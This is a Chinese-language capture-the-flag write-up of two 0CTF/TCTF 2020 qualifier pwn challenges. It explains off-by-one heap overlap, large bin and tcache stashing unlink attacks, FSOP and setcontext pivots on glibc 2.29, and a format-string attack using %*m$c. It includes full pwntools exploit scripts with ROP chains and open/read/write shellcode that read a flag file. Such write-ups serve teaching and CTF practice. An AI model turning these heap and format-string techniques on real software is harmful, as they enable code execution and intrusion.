2020 0CTF/TCTF quals 部分PWN WriteUp
Duet
分析
这个题目又是一个PLT
表损坏,ida
无法分析的题目。修复方法是将.got
中的偏移修改为extern
的位置,之后ida
就会自动识别相应的函数,此时我们将.got
中对应的DATA XREF
中函数(.plt.sec
)的命名更改之后,ida
就可以正常的分析函数了。具体的修复方法点这。
程序一共提供了四种功能add, delete, show, edit
。存储两个堆块指针,可分配的堆块的大小为0x80-0x400
。只能使用一次edit
,并且在该函数中存在一个off-by-one
的漏洞。
同时设置了sandbox
只能通过orw
进行,因此我们需要执行ropchain
。
利用
- 利用
off-by-one
我们可以进行overlap
,泄露出libc
基址。 - 接下来就是
FSOP
的利用了。
libc2.24
之后的版本中增加了对vtable
的检查,而libc2.29
相对libc2.27
之前的IO_strfile
来说,其分配和释放内存的函数都被修改为了标准的malloc,free
函数,因此没有办法直接getshell
EXP1
直接覆写io_list_all
或者stderr->chain
。伪造io_file
链表,利用_io_str_overflow
函数中的malloc
和memcpy
函数实现任意写。看一下源码
1 | int |
注意到这里会申请一个new_size=2 * old_blen + 100
大小的new_buf
,并执行memcpy (new_buf, old_buf, old_blen);
操作,这里的old_blen
的计算方式是#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
,也就是说如果我们控制了IO_FILE
结构体,并伪造_IO_buf_end
和_IO_buf_base
就可以申请任意大小的堆块,如果提前布置好堆布局,就可以分配到任意的内存地址,利用memcpy
执行任意地址写。需要绕过几个条件
1 | 1. ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |
这里我们可以覆写__malloc_hook/free_hook
地址,但是我们只能采用orw
,可以采用setcontext
进行栈迁移,但是setcontext+53
的地址之后我们还需要控制rdi
,来控制传入setcontext
函数的参数。注意到IO_str_overflow
中的
此时rdi
的值为io_file
结构体的起始地址,因此我们可以通过伪造的IO_FILE
结构体控制rdi
的值。因此可以覆写__malloc_hook
的地址为setcontext+53
的位置,在下一个IO_FILE
结构体中控制rdi
的值进行栈迁移。最终执行ropchain
- 利用
overlap
泄露libc
基址 - 伪造
large bin
,并覆写tcache->fd
为_malloc_hook
地址,分配两次即可得到_malloc_hook
指向的内存 - 利用
large bin attack
覆写stderr->chain
为控制的堆地址 - 在堆内存中伪造三个
IO_FILE
结构体。第一个消耗tcache
的第一个堆块,第二个申请得到__malloc_hook
所在的内存,覆写为setcontext+53
地址,第三个则控制rdi
,调用setcontext
进行栈迁移,指向ropchain
首先先泄露libc
基址
1 | for i in range(7): |
此时我们进行完成了overlap
,通过0x1f0
的堆块可以控制0x180
堆块的堆头数据。之后可以利用largebin attack
改写stderr->chain
。
1 | delete(1) |
将0x180
的堆块伪造成一个0x400
大小的堆块,这里需要注意的是,申请一个足够大小的chunk
,一个功能是做padding
防止0x400 chunk
与top chunk
合并,另一个功能就是伪造0x400 chunk
的相邻chunk
,绕过free
的合并检查。同时改写0x310 chunk
的tcache fd
为_malloc_hook
的地址,只要分配两次就可以分配到_malloc_hook
的位置,为之后的覆写做准备。利用large bin
此时也能泄露堆地址。
此时0x400 chunk
已经在large bin
中,接着利用0x1f0
的overlap
堆块修改0X400 largebin chunk
的bk_nextsize
指针,再次释放一个大小大于0x400
的large bin
的时候就会在bk_nextsize+0x20
的位置写入一个堆地址。这样我们就改写了stderr_chain
指向我们控制的内存区域
接下来就是伪造IO_FILE
链表了。因为__malloc_hook
所在的tcache
为0x310
大小,因此控制在Io_str_overflow
中的new_size
的大小为0x310
。最终伪造的IO_FILE
链表如下所示。
最终成功执行ropchain
。
在执行setcontext的时候只要控制好rdx+0xxx位置的内存值即可
1 | # encoding=utf-8 |
EXP2
除了覆盖stderr
之外,还可以直接覆盖global_max_fast
,利用fastbin attack
。大佬们的WP
中出现了两种思路,
一种是直接利用
fastbin attack
将内存分配到main_arena
区域,由于free_hook-0xb68
的位置存在一个0x100
,可以作为size
,因此可以将内存分配到此位置,并伪造top chunk
,经过三次分配0x410
大小的堆块,就可以将内存分配到free_hook
位置处。但是在伪造top chunk的时候需要注意绕过检查*(main_arena+0x78) == main_arena+0x60
size > av->system_mem // 0x21000, 不然会触发fast bin合并但是只能进行
orw
,也就是需要调用setcontext+53
进一步控制执行流,也就是我们需要控制rdx
的值。此时如果我们释放堆块,那么rdi
的值就是堆块的起始地址。下面就是寻找如何通过rdi
控制rdx
。注意到
IO_wfile_sync
这个函数,其中可以通过rdi
控制rbx,rax,rdx,rsi,r12
,并且最终会调用[r12+0x20]
,如果我们将r12+0x20
存储的位置改写为setcontext+53
,而又可以通过rdi
控制rdx
就可以继续劫持控制流进行栈迁移,最终执行ropchain
。这里用的是
tcache stashing unlink
覆写global_max_fast
。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200# encoding=utf-8
from pwn import *
file_path = "./duet"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
ins = ["琴", "瑟"]
def add(index, size, content=b"a"):
p.sendlineafter(": ", "1")
p.sendlineafter("Instrument: ", ins[index])
p.sendlineafter("Duration: ", str(size))
p.sendafter("Score: ", content.ljust(size, b"\\x00"))
def delete(index):
p.sendlineafter(": ", "2")
p.sendlineafter("Instrument: ", ins[index])
def show(index):
p.sendlineafter(": ", "3")
p.sendlineafter("Instrument: ", ins[index])
def edit(content):
p.sendlineafter(": ", "5")
p.sendlineafter("合: ", str(content))
for i in range(6):
add(0, 0x88)
delete(0)
for i in range(7):
add(0, 0x1b0)
delete(0)
for i in range(6):
add(0, 0x98)
delete(0)
for i in range(7):
add(0, 0x1f0)
delete(0)
for i in range(7):
add(0, 0x240)
delete(0)
for i in range(7):
add(0, 0x2e0)
delete(0)
for i in range(7):
add(0, 0x240)
delete(0)
for i in range(7):
add(0, 0xf0)
delete(0)
for i in range(7):
add(0, 0x100)
delete(0)
add(0, 0x1b0)
add(1, 0x88) # padding
delete(0)
delete(1)
add(0, 0x1b0 - 0xa0)
delete(0)
add(0, 0x1b0) # 0xa0 chunk in small bin
add(1, 0x1f0) # 0x200 chunk to overlap
delete(0)
add(0, 0x1b0-0x90) # 0x90 chunk in unsorted bin and next is 0x200 chunk
delete(0)
add(0, 0x1f0, b"\\x00"*0xe8+p64(0x200-0xf0+1)) # 0x200 chunk 2 fd is 0x200 chunk 1(overlap)
edit(0xf1)
delete(1)
add(1, 0x3f0, b"\\x00"*0x48 + p64(0x401-0x50)) # 0x2f0 chunk to unsorted bin
delete(1)
add(1, 0x240, b"\\x00"*0x1f8+p64(0x201)) # 0xa0 chunk 1 in unsorted bin
delete(0) # 0x200 chunk2 <-> 0xa0 chunk 1, 0x200 chunk2 + 0x50 is 0xa0 chunk 1
show(1)
p.recvuntil("瑟: ")
p.recv(0x200)
heap_address = u64(p.recv(8))
libc.address = u64(p.recv(8)) - 96 - libc.sym['__malloc_hook'] - 0x10
main_arena_address = libc.sym['__malloc_hook'] + 0x10
log.success("heap address {}".format(hex(heap_address)))
log.success("libc address {}".format(hex(libc.address)))
global_max_fast_address = libc.address + 0x1e7600
free_hook_address = libc.sym['__free_hook']
# tcache stashing unlink attack
# change small bin fd and bk
payload = b"\\x00"*0x48 + p64(0xa1) + p64(heap_address - 0x540) + p64(global_max_fast_address - 0x10)
payload += b"\\x00"*0x80 + p64(0xa0) + p64(0x110)
add(0, 0xf0, payload) # 0xa0 to small bin, 0x100 chunk in unsorted bin
delete(0) # 0x200 chunk2 in unsorted bin
add(0, 0x90)
log.success("gloabl max fast has been changed")
delete(0) # 0xa0 chunk 1 to fast bin
delete(1) # 0x250 chunk to fast bin, +0x200 chunk is 0x200 chunk 2
add(0, 0x240, b"\\x00"*0x1f8 + p64(0xe1)) # 0x200 chunk2 changed to 0xe0 chunk(unsorted bin)
delete(0)
add(0, 0xd0, b"\\x00"*0x48 + p64(0x201)) # 0xa0 chunk1 change to 0x200 chunk
payload = p64(0) + p64(0x201) + p64(0) + p64(0x191) + p64(0) + p64(0x181) + p64(0) + p64(0x171) + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141)
payload += p64(0) + p64(0x131) + p64(0) + p64(0x121) + p64(0) + p64(0x111) + p64(0) + p64(0x101) + p64(0) + p64(0xf1)
add(1, 0x1f0, payload)
delete(1)
add(1, 0x240, b"\\x00"*0x1f8 + p64(0x91)) # +0x200 is 0xa0 chunk, changed to 0x90 chunk
delete(1)
delete(0) # 0x90 chunk to fast bin
add(1, 0x240, b"\\x00"*0x1f8 + p64(0x91) + p64(0x111))
delete(1)
add(0, 0x80, b"\\x00"*0x48 + p64(0x81))
add(1, 0x240, b"\\x00"*0x1f8 + p64(0x111))
delete(1)
delete(0)
add(0, 0x240, b"\\x00"*0x1f8 + p64(0x111) + p64(main_arena_address + 64))
payload = b'\\x00'*0x48 + p64(0x201)
payload += b'\\x00'*0x70 + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141) + p64(0) + p64(0x131)
add(1, 0x100, payload)
delete(0)
add(0, 0x240, b"\\x00"*0x1f8 + p64(0xe1))
delete(0)
delete(1)
top_chunk = free_hook_address - 0xb68 + 0x10
payload = b"\\x00"*0x10 + p64(top_chunk) + b"\\x00"*0xc8 + p64(main_arena_address + 304) + p64(304*2+1)
add(0, 0x100, payload)
add(1, 304*2-0x10, b"\\x00"*0x18 + p64(0x21))
delete(0)
pad = main_arena_address + 0x60
payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3 + p64(free_hook_address - 0xb68 - 1) + p64(pad)*22 + p64(0x21)
add(0, 0x100, payload)
delete(0)
delete(1)
p_rdi_r = 0x0000000000026542 + libc.address
p_rdx_r = 0x000000000012bda6 + libc.address
p_rax_r = 0x0000000000047cf8 + libc.address
p_rsi_r = 0x0000000000026f9e + libc.address
p_rsp_r = 0x0000000000030e4e + libc.address
syscall_address = 0x00000000000cf6c5 + libc.address
flag = free_hook_address + 8
read_address = libc.sym['read']
write_address = libc.sym['write']
setcontext_address = libc.sym['setcontext'] + 53
row = flat([
p_rdi_r,
flag,
p_rsi_r, 0,
p_rdx_r, 4,
p_rax_r, 2,
syscall_address,
p_rdi_r, 3,
p_rsi_r, heap_address,
p_rdx_r, 0x20,
read_address,
p_rdi_r, 1,
p_rsi_r, heap_address,
p_rdx_r, 0x20,
write_address
])
gdb.attach(p, "b *0x555555555BC7")
add(0, 0xf8, b"\\x00" + p64(0) + p64(0x21001))
add(1, 0x100, p64(pad)*2 + p64(top_chunk) + p64(pad)*3)
delete(1)
add(1, 0x400)
delete(1)
add(1, 0x400)
delete(1)
target = free_hook_address - 0x328
rdx = target + 0xe0 - 0xa0 -0x8
target_rsp = target + 0xe0
io_write_sync = libc.sym['_IO_wfile_sync']
payload = p64(0)+p64(1) + p64(2) + p64(rdx)*4 + b"\\x00"*0x60 + p64(target + 0xb0)
payload += p64(target) + p64(0)
payload += b"\\x00"*0x20 + p64(setcontext_address) +p64(target_rsp + 8)
payload += row
payload = payload.ljust(0x328, b"\\x00") + p64(io_write_sync) + b"./flag\\x00"
add(1, 0x400, payload)
delete(1)
p.interactive()第二种则是利用
stdout
的flag
中的0xfb
伪造fast bin chunk
,从而分配chunk
到stdout
上。这里对size的检查是用的eax,也就是低4字节,前面的地址残余无影响
将
stdout
的vtable
改为IO_wfile_jumps_mmap+40
,即将__xsputn
函数指针指向_IO_wfile_sync
,这样puts
函数在进行输出的时候就会调用_IO_wfile_sync
函数,该函数内通过rdi
即stdout
控制r12
的值为gadget
的地址,其作用如下1
2
3
4
5mov rdx, qword ptr [rdi + 8] # << +0x12be97
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax这样就可以继续劫持控制流到
setcontext
,并且将rdx
设置为参数。最终调用mprotect
关闭不可执行保护执行shellcode
。贴出大佬的WP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = 'pwnable.org'
port = 12356
binary = "./duet"
context.binary = binary
context.log_level = "debug"
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def new(index,data):
r.recvuntil(": ")
r.sendline("1")
r.recvuntil("Instrument: ")
r.sendline(index)
r.recvuntil("Duration: ")
r.sendline(str(len(data)))
r.recvuntil("Score: ")
r.send(data)
pass
def remove(index):
r.recvuntil(": ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(index)
pass
def show(index):
r.recvuntil(": ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(index)
def heap(b):
r.recvuntil(": ")
r.sendline("5")
r.recvuntil(": ")
r.sendline(str(b))
if len(sys.argv) == 1:
r = process([binary, "0"])
else:
r = remote(host ,port)
if __name__ == '__main__':
fuck = {0: "琴",1:"瑟"}
for i in range(7):
new(fuck[0],"A"*0x80)
remove(fuck[0])
new(fuck[0],"A"*0xe0)
remove(fuck[0])
new(fuck[0],"A"*0xf0)
remove(fuck[0])
new(fuck[0],"A"*0x1e0)
remove(fuck[0])
new(fuck[0],"A"*0x140)
remove(fuck[0])
new(fuck[0],"A"*0x88)
new(fuck[1],"A"*0xf0)
remove(fuck[0])
heap(0xf1)
new(fuck[0],p64(0x81)*60)
remove(fuck[1])
new(fuck[1],p64(0x21)*96)
remove(fuck[1])
new(fuck[1],p64(0x91)*31 + p64(0x91) + b"\\x00"*0x88 + p64(0x21)*11)
remove(fuck[0])
show(fuck[1])
r.recv(0x105)
libc = u64(r.recv(6).ljust(8,b"\\x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
new(fuck[0],p64(0x21)*60)
remove(fuck[0])
remove(fuck[1])
new(fuck[0],p64(0x21)*128)
remove(fuck[0])
for i in range(6):
new(fuck[0],"A"*0x400)
remove(fuck[0])
new(fuck[0],"A"*0x400)
new(fuck[1],"A"*0x200)
remove(fuck[0])
remove(fuck[1])
new(fuck[0],"A"*0x80)
new(fuck[1],p64(0x91)*31 + p64(0x421) + b"\\x00"*0x88 + p64(0x21)*11)
remove(fuck[0])
show(fuck[1])
r.recv(0x10d-8)
heap = u64(r.recv(6).ljust(8,b"\\x00")) - 0x4d90
print("heap = {}".format(hex(heap)))
global_max_fast = 0x1e7600 + libc
remove(fuck[1])
new(fuck[1],"A"*0x90)
remove(fuck[1])
new(fuck[0],"A"*0x400)
new(fuck[1],b"A"*0x58 + p64(0x421) + p64(global_max_fast-0x20)*2 + p64(global_max_fast-0x20)*2 + b"A"*0xc0)
remove(fuck[0])
print("libc = {}".format(hex(libc)))
_IO_wfile_sync = libc + 0x1e5fc0
magic = libc + 0x000000000012be97 # mov rdx,QWORD PTR [rdi+0x8] ; mov rax,QWORD PTR [rdi] ; mov rdi,rdx ; jmp rax
print("_IO_wfile_sync = {}".format(hex(_IO_wfile_sync)))
payload = b"Z"*0x30
setcontext = 0x55e35 + libc
payload += p64(setcontext) + p64(heap + 0x4df0)+ b"\\x00"*0x10 + p64(magic)
payload += cyclic(96) + p64(heap) + p64(0x21000) + p64(0)*2 + p64(7)*3 + p64(heap+0x4ea0)
payload += p64(libc + 0x117590) + p64(heap+0x4ea8)
payload += (asm(shellcraft.open("./flag")) +
asm(shellcraft.read("rax",heap+0x100,0x100)) +
asm(shellcraft.write(1,heap+0x100,"rax")) + b"\\xeb\\xfe")
payload = payload.ljust(0x3f0,b"F")
new(fuck[0],payload) # large bin attack success
remove(fuck[1])
new(fuck[1],b"C"*0x58 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(heap+0x2c20)*2 + p64(0x21)*24) # fix large bin
remove(fuck[1])
remove(fuck[0])
new(fuck[0],"A"*0x98)
new(fuck[1],b"D"*0x58 + p64(0xf1) + b"D"*0xe0)
remove(fuck[0])
remove(fuck[1])
new(fuck[1],b"D"*0x58 + p64(0xf1) + p64(libc + 0x1e575b) + b"D"*0xe0)
remove(fuck[1])
new(fuck[0],"D"*0xe8)
payload = (p64(0x00000000fbad2887) +
p64(libc + 0x1e57e3)*7 +
p64(0)*7 +
p64(0xffffffffffffffff) +
p64(0) +
p64(libc + 0x1e7580) +
p64(0xffffffffffffffff) +
p64(heap + 0x4dd0) +
p64(heap + 0x4da0) +
p64(0)*3 +
p64(0x00000000ffffffff) +
p64(0)*2 +
p64(_IO_wfile_sync - 0x38) )
payload = payload.ljust(0x100,b"\\x00")
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(r, "b *0x555555555BC7")
# Fastbin attack stdout to get stdout buffer (stdout flag is 0x000000fbxxxxxx, so 0x000000fb can use to be fastbin size).
# Change puts stdout vtable to _IO_wfile_sync, and contorl rip & rdi
# Jump magic and setcontext to call mportect, and finally execute shellcode
new(fuck[1],payload[0xb:0xb+0xe8])
r.interactive()
simple_server
分析
预期解
程序保护全开,存在一个格式化字符串漏洞
但是远程将stderr
重定向到了/dev/null
,无法进行泄露,而且正常情况下格式化字符串漏洞只能调用一次。先来看一下fprintf
处的栈数据。
函数发生的调用是main->sub_141d->sub_13c1->fprintf
。这里的rbp
链是0x7fffffffe430 —▸ 0x7fffffffe550 —▸ 0x7fffffffe570
。
如果我们更改了e550
中存储的地址的低字节,那么在141d
函数返回的时候就可以劫持栈到修改的地址,如果在此处提前布置好one_gadget
就可以getshell
。
但是无法泄露地址,也就是无法得到one_gadget
的实际地址,需要在栈中找到一个libc
附近的地址,然后覆写其低四字节内容,从而得到one_gadget
的实际地址。注意的是这里只能覆写低四字节的内容,因为%n
不能超过int
的范围,也就是0x7fffffff
。
从汇编代码来看141d
和readint(12c9)
函数是共用一部分栈空间的,栈中0x7fffffffe4c8
地址处在readint
中存储的是nptr
的地址,也就是一个栈地址,并且随着输入的phone_number
的字符串的长度的增加而增加,其初始值为x7fffffffe4d0
,而改地址+0x18
的位置存储了一个libc
附近的地址,因此只要控制phone_number
的长度为0x18
就可以获得一个指向存储有libc
附近地址的指针,就可以使用格式化字符串来修改指向的libc
附近的地址为one_gadget
的地址。
如果只是单纯的修改one_gadget
的偏移,需要爆破的位数过多,这里学到一种方法就是利用%*$c
或者%*m$c
来指定输出的长度。这里这个m
是第几个参数的意思,例如
假设需要将libc
附近的地址改为libc_base+0xe58c3
,在上图中改地址为0x7fdb136bb8c3
,fprintf
函数的第30
个参数也就是libc
附近初始值为0x7fdb13664400
,因此需要将改地址+0x7fdb135d6000 + 0xe58c3 - 0x7fdb13664400
个大小。格式化字符串如下
1 | "%{}c%*30$c%26$n".format(0x7fdb135d6000 + 0xe58c3 - 0x7fdb13664400 - 0xd) |
这里的%*30%c
就是取第30
个参数作为长度,也就是%325469184$c
,0x13664400=325469184
。最终将libc
附近的地址改为我们想要的地址。这里就相当于绕过了地址随机化。
在调试的时候需要注意满足两个条件才可以(如上图),一个是rbp
的低一字节地址需要>0xd0
,这样才可以改写栈地址指向one_gadget-0x8
的位置,第二个就是libc
的地址的低四字节需要大于0x7fffffff
,因为大于0x7fffffff
之后会被认为是负数。
EXP
1 | # encoding=utf-8 |
其他方法
再来看一下调用sprintf
函数时候的栈数据
在rop
链的最后一条地址,程序返回之后会执行最后一个rbp(0xe570)
地址中存储的返回地址,之后就会执行0xe578
中存储的libc_start_main+231
的指令,也就是执行exit
。如果我们修改0xe578
中存储的libc_start_main
指令地址为one_gadget
地址,这样的话在程序返回的时候就会执行one_gadget
,从而getshell
。需要注意的是在更改得到one_gadget
地址之后需要将原RBP
链复位,使得程序能正常返回。这里在运行one_gadget
的时候环境发生改变,新的gadget
的地址为0x4f3c2
1 | # encoding=utf-8 |
解2
这种方法没有用到%*
来使用参数指定输出的长度,而是利用栈中0xe480/0xe498
中存储的_start
地址通过将改写rbp
链将栈迁移到0xe490
地址处,函数返回的时候就会进入_start
函数,从而无限次利用格式化字符串漏洞。
此时就可以修改stderr
,将其修改为stdout
(修改_fileno
成员变量为1
)。这里可以利用栈中残留的_IO_2_1_stdin_
指针,改指针在一般情况下与_IO_2_1_stderr_
指针仅低两字节不同,而低3
位数字是offset
不受ASLR
的影响,因此只需要爆破一位数字即可。那么首先修改一个栈地址,指向存储_IO_2_1_stdin_
的位置,接着将_IO_2_1_stdin_
修改为_IO_2_1_stderr_._fileno
附近的地址,再次修改_fileno
即可利用格式化字符串泄露libc
地址,接着覆写返回地址为one_gadget
即可getshell
。具体参考这篇文章